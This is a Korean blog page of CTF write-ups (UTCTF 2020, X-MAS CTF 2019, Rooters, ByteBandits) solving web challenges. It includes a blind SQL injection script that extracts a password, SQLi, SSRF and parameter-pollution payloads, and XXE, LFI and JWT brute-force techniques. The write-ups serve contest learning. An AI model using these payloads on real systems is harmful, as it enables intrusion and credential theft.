'Hacking Contest'에 해당되는 글 18건

UTCTF 2020

Hacking Contest 2020. 3. 8. 13:58
반응형

1. spooky store

 - 해당 문제에 접근했을 때 버튼 3개가 있는데 버튼을 누르면 요청을 XML 형식으로 날리고 있다.

 가장 먼저 생각이 든 것이 XXE Injection이기 때문에 payload를 날렸을 때 간단히 문제가 풀렸다.

 FLAG는 /etc/passwd 밑에 있었다.


2. epic admin pwn

 해당 문제의 설명에 flag는 password라고 되어 있었으며, 해당 문제 접근 시 로그인 페이지가 떴다.

 이는 간단히 Blind SQL Injection을 통해 admin의 패스워드를 얻을 수 있으며 이로 인증이 가능하다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests
 
url="http://web2.utctf.live:5006/"
password=""
 
for i in range(1,25):
    for j in range(33,126):
        datas={
            "username":"admin' and ascii(substr(password,"+str(i)+",1))="+str(j)+"-- ",
            "pass":"1"
            }
 
        response = requests.post(url,data=datas)
 
        print("response:",response.request.body)
        #print("response:",response.text)
        if "Welcome, admin!" in response.text:
            password+=chr(j)
            print("[+]find password:",password)
            break
cs


3. 

해당 문제는 LFI+git 문제였다.

이미지를 가져오는 getimg.php의 img 파라미터에 img1.jpg가 base64로 인코딩되어 들어가 해당 파일을 불러오며 여기에 다른 파일을 base64로 인코딩하여 넣으면 해당 파일을 불러올 수 있다.

간단한 LFI 문제여서 금방 풀 수 있을것 같았는데 flag가 어디있을지 짐작을 못하다가 문제에서 commit, status와 같이 git과 관련된 단어가 기울어져있는 것을 보고 git과 관련된 문제임을 확인하였다.


다음과 같은 순서대로 파일들을 확인하였다.

 (1) .git/logs/HEAD

 : 로그 확인

0000000000000000000000000000000000000000 759be945739b04b63a09e7c02d51567501ead033 Shrek <shrek@shrek.com> 1583366532 +0000 commit (initial): initial commit

759be945739b04b63a09e7c02d51567501ead033 976b625888ae0d9ee9543f025254f71e10b7bcf8 Shrek <shrek@shrek.com> 1583366704 +0000 commit: remove flag

976b625888ae0d9ee9543f025254f71e10b7bcf8 d421c6aa97e8b8a60d330336ec1e829c8ffd7199 Shrek <shrek@shrek.com> 1583367714 +0000 commit: added more stuff

d421c6aa97e8b8a60d330336ec1e829c8ffd7199 759be945739b04b63a09e7c02d51567501ead033 Shrek <shrek@shrek.com> 1583367723 +0000 checkout: moving from master to 759be945739b04b63a09e7c02d51567501ead033

759be945739b04b63a09e7c02d51567501ead033 d421c6aa97e8b8a60d330336ec1e829c8ffd7199 Shrek <shrek@shrek.com> 1583367740 +0000 checkout: moving from 759be945739b04b63a09e7c02d51567501ead033 to master


 (2) 759be945739b04b63a09e7c02d51567501ead033 

 : flag가 remove 되기 전인 759be945739b04b63a09e7c02d51567501ead033 object 확인


(3) aeeea4cfa5afa4dcb70e1d6109790377e7bcec4d

 : 해당 object 당시의 tree 구조 확인


(4) 6578c62fa248d078ffc551405c9700e3ccc9f5b3

 : flag가 있을만한 index.php 파일 확인


<후기>

1. 처음엔 해당 문제를 wrapper를 이용한 LFI인줄 알고 base64 형태로 받아 진행하였는데 단순히 파일명만 넣어도 LFI가 trigger 되었다.

일단은 그냥 파일 넣어보고 안되면 wrapper를 이용하자


2. git의 object는 blob 형태라 단순 에디터로는 볼 수 없다는 점 때문에 git command를 이용해야한다.

이 때, 받은 파일을 git cat-file로 하면 보여야하는데 자꾸 형식이 틀렸다고 떴다..

삽질의 삽질을 하다 혹시나 하는 마음에 동일하게 linux에서 진행했더니 됐다 ㅇ_ㅇ...

명령어를 써야하는 것이라면 맘 편하게 리눅스에서 진행하자

반응형

'Hacking Contest' 카테고리의 다른 글

[Christmas CTF 2019] JWT  (0) 2019.12.26
[Christmas CTF 2019] watermelon  (0) 2019.12.26
[Kipod After Free CTF 2019]  (0) 2019.12.24
2019 X-MAS CTF  (0) 2019.12.18
[Rooters CTF] baby web  (0) 2019.10.10
블로그 이미지

rootable

,
반응형

회원가입하고 로그인을 하면 [플래그 받기] 버튼이 있다.


해당 버튼을 누르면 응답으로 단순히 403 코드가 출력된다.


문제에서 제공해준 소스코드 중 config.js를 보면 jwt의 key가 0~9로 이루어진 8자리 길이 숫자임을 알 수 있다.



이에 따라 파이썬으로 00000000 ~ 99999999 까지 이루어진 파일을 생성하고 jwttool을 통해 brute forcing하여 40906795가 올바른 key 값임을 알 수 있다.



이제 해당 key를 이용하여 admin을 true로 변경한 jwt를 넣으면 FLAG가 출력된다.


FLAG : XMAS{bru73-f0rc3-jw7_^^7}

반응형

'Hacking Contest' 카테고리의 다른 글

UTCTF 2020  (1) 2020.03.08
[Christmas CTF 2019] watermelon  (0) 2019.12.26
[Kipod After Free CTF 2019]  (0) 2019.12.24
2019 X-MAS CTF  (0) 2019.12.18
[Rooters CTF] baby web  (0) 2019.10.10
블로그 이미지

rootable

,
반응형

크리스마스 당일에는 약속이 있어 대회가 끝난 다음날 문제를 풀어보았다.


문제에 접근하면 음악을 업로드하는 페이지와 음악리스트, 순위 등등 페이지가 존재한다.


음악 업로드는 mp3와 wav로 화이트리스트 기반으로 되어있어 웹쉘 업로드 문제는 아니였다.


음악을 업로드하고 여기저기 돌아다니다가 robots.txt 파일을 요청하여 /xmas/.git 경로가 존재한다는 것을 획득하였다.


 .git이란?

 - git init을 통해 새로운 git 저장소를 생성하였을 때 생기는 폴더로 해당 폴더 안에는 버전 정보, 커밋 정보, 로그 정보 등등이 들어있다.


이제 git cat-file 명령어를 통해 하나씩 로그 파일을 읽어볼 수 있지만 간단한 파이썬 모듈이 있다.


이는 GitHack 모듈로 간단히 명령어 한 줄로 해당 git repository의 파일들을 다운받을 수 있다.


명령어 : GitHack.py http://ch4n3.me:8080/xmas/.git/


이를 통해 php 파일들을 받을 수 있고, 이 중 flag.php 파일을 확인해보았다.



$flag 변수에 flag가 들어가있지만 다운받은 소스코드 상에는 마스킹처리가 되어 있는 상황이다.

따라서 if 구문의 끝에 die($flag)를 통해 flag를 획득해야하는데 이를 위한 조건은 내가 업로드한 음악이 1225개 이상 투표를 받으면 flag를 획득할 수 있다.


이를 위해 user_no를 변경해가며 jwt 를 생성하여 내가 올린 음악을 투표하도록 하는 php code를 만들어 flag를 획득하였다.



FLAG : XMAS{Last Christmas~ I gave you my heart~ <3}

반응형

'Hacking Contest' 카테고리의 다른 글

UTCTF 2020  (1) 2020.03.08
[Christmas CTF 2019] JWT  (0) 2019.12.26
[Kipod After Free CTF 2019]  (0) 2019.12.24
2019 X-MAS CTF  (0) 2019.12.18
[Rooters CTF] baby web  (0) 2019.10.10
블로그 이미지

rootable

,

[Kipod After Free CTF 2019]

2019. 12. 24. 17:40

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

2019 X-MAS CTF

Hacking Contest 2019. 12. 18. 00:06
반응형

1. Sequel Fun

- 페이지 소스 내 주석으로 ?source=1가 존재하며 접근할 경우 소스코드가 노출된다. 계정정보가 그대로 노출되지는 않지만 로그인하는 쿼리가 SQLi에 취약한 것으로 보였고 아이디와 패스워드에 1만 넣지 않으면 풀린다. 이에 따라 1이 아니라 true를 입력하여 solve하였다.


 - solve 요청

?user=%27+or+true--+&pass=23


2. Roboworld

 - Flask 문제로 완벽하지 않은 소스코드를 제공해준다. 소스코드 내에 디버깅용 privkey가 존재하는데 해당 키를 가지고는 어떠한 문자열로도 모두 captchaVerify가 allow된다.

 - 아래 소스코드 일부를 보면 캡처 인증을 하는 요청을 볼 수 있는데 captchaUserValue 뒤에 privateKey가 나오게 되므로 HTTP Parameter Pollution을 통해 실제 제공된 privKey가 아닌 디버깅용 privKey를 통해 인증하도록 하면 시크릿페이지에 접근되고 그 중 mp4 파일을 열면 FLAG가 노출된다.

privKey = "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX" #redacted
    r = requests.get('http://127.0.0.1:{}/captchaVerify?captchaUserValue={}&privateKey={}'.format(str(port), captchaToken, privKey))
    #backdoored ;)))
    if username == "backd00r" and password == "catsrcool" and r.content == b'allow':
        session['logged'] = True
        return redirect('//redacted//')
    else:
        return "login failed"


- solve 요청

user=backd00r&pass=catsrcool&captcha_verification_value=o79GEvFXyt%26privateKey=8EE86735658A9CE426EAF4E26BB0450E


3. Rigged Election

 - 해당 문제는 vote.php의 g 파라미터가 존재할 때 총 6자리의 문자열이 설정되고 이후 h 파라미터의 값을 특정 문자열과 연결하여 md5한 결과의 앞 6자리가 이전에 얻은 6자리와 일치할 때까지 확인한다 .

 - 동일한 세션으로 해야해서 동시에 여러 요청을 보낼 수 없는데 코드를 짜서 돌리고는 있는데 이렇게 하는게 맞을까..?


4. X-MAS Helper

 - 개인 서버에 봇 추가 URL : https://discordapp.com/oauth2/authorize?clinet_id=[봇 ID]&scope=bot

 - 개발자 모드 활성화 : [사용자 설정 - 디스플레이 - 고급 - 개발자모드]

 - 개발자 모드 활성화 이후 봇 우클릭하여 봇 ID 획득 후 봇 추가를 한다. 이후 서버 설정에서 역할에 Organizer를 추가한 뒤 나에게 역할을 주고 !flag가면 Success


5. Execute No Evil

 - /* */는 보통 Multi-Line comment를 의미하는데 여기에 !를 사용하게 되면 실행가능한 주석이 된다. 이는 MySQL과 MariaDB에서만 가능하다. (검색 : executable comment )

 - 이후부터는 union을 이용하여 flag를 획득하면 된다.

반응형

'Hacking Contest' 카테고리의 다른 글

[Christmas CTF 2019] watermelon  (0) 2019.12.26
[Kipod After Free CTF 2019]  (0) 2019.12.24
[Rooters CTF] baby web  (0) 2019.10.10
[ByteBandits CTF 2019] Online Previewer 1  (0) 2019.04.13
[ByteBandits CTF 2019] EasyPHP  (0) 2019.04.13
블로그 이미지

rootable

,
반응형

문제에 접근해보자.




unique id를 찾아서 입력을 하면 문제가 풀릴꺼같다.

일단 간단하게 test를 입력하고 Search를 눌러주면 아래와 같이 친절하게 에러를 보여준다.



그래서 Error based SQLI 인가 싶어 진행을 해보았다.


https://babyweb.rootersctf.in/index.php?search=0+order+by+1 (에러발생 X)

https://babyweb.rootersctf.in/index.php?search=0+order+by+2 (에러발생 X)

https://babyweb.rootersctf.in/index.php?search=0+order+by+3 (에러발생 O)


에러 발생이 되지 않을 때 아래와 같이 SELECT 쿼리문을 보여주기 때문에 테이블명이 users임을 알 수 있고 위의 order by를 통해 users 테이블에는 컬럼이 2개임을 알 수 있다.



이후 having 절을 통해 컬럼명을 찾아보려했는데 에러가 발생되지 않고 정상적으로 실행되길래 몇번 삽질과 함께 검색을 하다 아래와 같은 사이트를 찾았다.

http://www.securityidiots.com/Web-Pentest/SQL-Injection/Error-Based-Injection-Subquery-Injection.html


여기서 소개해준 기법을 통해 아래와 같이 쿼리를 만들어서 원하는 데이터 추출이 가능함을 확인하고 쭉쭉 풀었다.


users 테이블의 컬럼명은 user와 uniqueid이며 이 중 uniqueid를 아래 쿼리를 통해 획득하였다.


해당 값을 입력해주니 FLAG가 출력되었다.

반응형

'Hacking Contest' 카테고리의 다른 글

[Kipod After Free CTF 2019]  (0) 2019.12.24
2019 X-MAS CTF  (0) 2019.12.18
[ByteBandits CTF 2019] Online Previewer 1  (0) 2019.04.13
[ByteBandits CTF 2019] EasyPHP  (0) 2019.04.13
parse_url Hostname Bypass (SwampCTF Brokerboard Writeup)  (0) 2019.04.07
블로그 이미지

rootable

,
반응형

해당 문제는 secret service를 찾으면 될 것으로 보인다.

주어진 주소에 접근해보자.


문제에 접근하면 위와 같이 특정 URL을 넣는 칸이 있다.

여기에 구글 주소를 입력한 뒤 제출을 누르면 구글 사이트로 리다이렉트되는 것을 볼 수 있다.

해당 기능을 이용하여 secret service에 접근하면 될 것으로 보인다.


메인페이지에서 페이지 소스를 보면 아래와 같이 주석으로 로컬의 1337 포트에 secret stuff가 있다고 한다.


그래서 해당 주소를 입력한 뒤 제출을 누르면 아래와 같은 에러가 뜨며 접근이 되지 않는다.


필터링이 존재하는 것으로 보여 아래 사이트를 통해 여러가지 우회패턴을 입력해보았다.


https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery


그 중 나는 Bypass using tricks combination 사용부분을 이용하여 문제를 풀었다.

똑같이 진행해도 문제가 풀리는데 조금 더 찾아보고 가장 단순하게 풀어보았다.


메일 계정에서 test@rootable.com 일 경우 계정명은 test이고 호스트는 rootable.com인 것을 이용하여 127.0.0.1 앞에 @를 넣음으로써 필터링을 우회할 수 있었다.



payload : url=http://@127.0.0.1:1337/

반응형

'Hacking Contest' 카테고리의 다른 글

2019 X-MAS CTF  (0) 2019.12.18
[Rooters CTF] baby web  (0) 2019.10.10
[ByteBandits CTF 2019] EasyPHP  (0) 2019.04.13
parse_url Hostname Bypass (SwampCTF Brokerboard Writeup)  (0) 2019.04.07
[2019 Encrypt CTF] vault  (0) 2019.04.03
블로그 이미지

rootable

,
반응형

전체 소스코드는 아래와 같다.


<?php
$hashed_key 
'79abe9e217c2532193f910434453b2b9521a94c25ddc2e34f55947dea77d70ff';
$parsed parse_url($_SERVER['REQUEST_URI']);
if(isset(
$parsed["query"])){
    
$query $parsed["query"];
    
$parsed_query parse_str($query);
    if(
$parsed_query!=NULL){
        
$action $parsed_query['action'];
    }

    if(
$action==="auth"){
        
$key $_GET["key"];
        
$hashed_input hash('sha256'$key);
        
//echo $hashed_input.'\n';
        
if($hashed_input!==$hashed_key){
            die(
"GTFO!");
        }

        echo 
file_get_contents("/flag");
    }
}else{
    
show_source(__FILE__);
}

?>


1. parse_url 함수를 통해 REQUEST_URI의 query 부분을 뽑아낸다.

2. query 중 action이 auth이며 입력한 key값의 sha256 hash값이 $hashed_key 값과 동일하면 flag를 출력시킨다.


해당 문제는 parse_str() 취약점 이용하여 풀 수 있다.

parse_str 함수의 경우 입력받은 값은 변수로 저장하는 역할을 하는 것이라는 것을 이용하는 것이다.


따라서 이미 세팅되어 있는 hashed_key 값을 query에 포함시켜 주면 parse_str 함수에 의해 내가 원하는 값으로 덮어 씌워진다.


즉, key 값으로 임의의 값을 넣은 뒤 hashed_key 값을 임의의 값을 sha256 한 값으로 넣어주면 flag가 출력된다.


payload : 

http://easyphp.ctf.euristica.in/?action=auth&key=1&&hashed_key=6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b


참고 ) https://revers3r.tistory.com/96

반응형

'Hacking Contest' 카테고리의 다른 글

[Rooters CTF] baby web  (0) 2019.10.10
[ByteBandits CTF 2019] Online Previewer 1  (0) 2019.04.13
parse_url Hostname Bypass (SwampCTF Brokerboard Writeup)  (0) 2019.04.07
[2019 Encrypt CTF] vault  (0) 2019.04.03
[2019 Encrypt CTF] Sweeeeeet  (0) 2019.04.03
블로그 이미지

rootable

,